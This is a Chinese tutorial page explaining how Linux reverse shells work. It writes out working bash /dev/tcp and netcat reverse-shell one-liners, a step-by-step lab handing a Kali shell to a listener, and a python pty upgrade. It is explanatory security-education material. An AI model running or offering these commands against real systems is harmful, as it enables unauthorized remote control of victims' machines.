linux反弹shell的原理详解
完整命令
反弹shell命令：
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1
利用nc反弹shell：
nc -lvvp 12345 -t -e /bin/bash
原理
bash -i > /dev/tcp/ip/port 0>&1 2>&1
bash -i 打开一个交互式的bash
&是为了区分文件1和文件描述符1的
a>&b 的意思是 a>b 2>&1
0代表输入 ，0>&1 意思是，将输出的窗口上所输入的值当作当前窗口的输入。反弹shell后会有两个窗口，即靶机的shell窗口跟攻击机的shell口。这命令的意思也可以理解为，将攻击机窗口的输入当作靶机窗口的输入最终输入给靶机。2代表标准错误输出。
实验
通过一个小实验帮助大家理解
第一步，将shell的正确输出重定向到外部主机
假设我们在kali上输入的命令为：
bash -i > /dev/tcp/192.168.124.1/9999，这句话的意思是将交互式shell的标准输出重定向到192.168.124.1的9999端口。
在mac上监听端口命令为：nc -l 9999
首先在kali上输入whoami命令，发现没有回显，因为回显被重定向到了mac上。
但是当我们在kali上出入错误命令的时候，却存在回显。
第二步，将错误输出重定向到外部主机
我们只需要在上面的命令后面加上 2>&1即可，意思为将错误输出重定向到标准输出上，也就是重定向到我们的外部主机。
这时候发现在kali上按键盘已经没有任何回显了，回显全部出现在了mac的shell上：
这是因为我们已经将所有的输出都重定向到了外部主机上，但问题是现在我们的控制权还在kali上，mac无法进行任何输出操作，只能显示输出。这时候我们几句需要将输入的权限给予我们的mac。
第三步，交出输入权限
只需要在第二步命令的基础上加上 0>&1即可。
这时候已经可以在mac上完全控制kali的shell了，实验结束。
其他
当shell不稳定时候用python的虚拟化终端：
python -c "import pty;pty.spawn('/bin/bash')"
参考：
https://www.freebuf.com/news/142195.html #将shell转换成完全tty
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
https://www.anquanke.com/post/id/87017
到此这篇关于linux反弹shell的原理详解的文章就介绍到这了,更多相关linux反弹shell内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家！
相关文章
Linux中可以使用分号“;”、双and号“&&”和双竖线“||”来连接多个命令，这篇文章主要介绍了Shell脚本中多命令逻辑执行顺序的方法，本文给大家介绍的非常详细，对大家的工作或学习具有一定的参考借鉴价值，需要的朋友参考下2020-03-03
这篇文章主要介绍了Linux下快速比较两个目录的不同，本文给大家带来了多种方法，非常不错，具有一定的参考借鉴价值，感兴趣的朋友跟随脚本之家小编一起学习吧2018-05-05
这篇文章主要介绍了详解shell 变量的高级用法示例，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2020-05-05
这篇文章主要为大家分享一个监控linux进程的shell脚本，当程序异常退出时可以自动重启，涉及到捕获进程信号与重启进程的命令与知识2014-12-12
Shell脚本配合iptables屏蔽来自某个国家的IP访问
这篇文章主要介绍了Shell脚本配合iptables屏蔽来自某个国家的IP访问,本文利用IPdeny的IP数据,然后用Shell脚本导入iptables实现屏蔽IP访问,需要的朋友可以参考下2015-04-04
阿里云主机一键安装lamp、lnmp环境的shell脚本分享
这篇文章主要介绍了阿里云主机一键安装lamp、lnmp环境的shell脚本分享,需要的朋友可以参考下2014-07-07
这篇文章主要介绍了利用Shell 脚本解决DDOS攻击问题的相关资料,需要的朋友可以参考下2017-06-06
在编写shell脚本时，调试是个比较麻烦的事，特别是涉及到多层管道命令的时候，会产生多个中间结果，tee命令的作用是从标准输入中读取数据写入标准输出或文件中，利用它可以从管道中读取中间结果并写入本地临时文件中，通过中间结果可以一步一步的定位到脚本的错误2021-05-05
这篇文章主要介绍了Linux shell 提取文件名和目录名的方法,本文给大家介绍的非常详细，具有一定的参考借鉴价值，需要的朋友可以参考下2020-02-02
脚本中常常要获取一些命令的执行结果,比如当前目录pwd、当前时间date等等,下面这篇文章主要给大家介绍了关于Linux Shell脚本中如何获取命令运行的结果,需要的朋友可以参考下2023-06-06
最新评论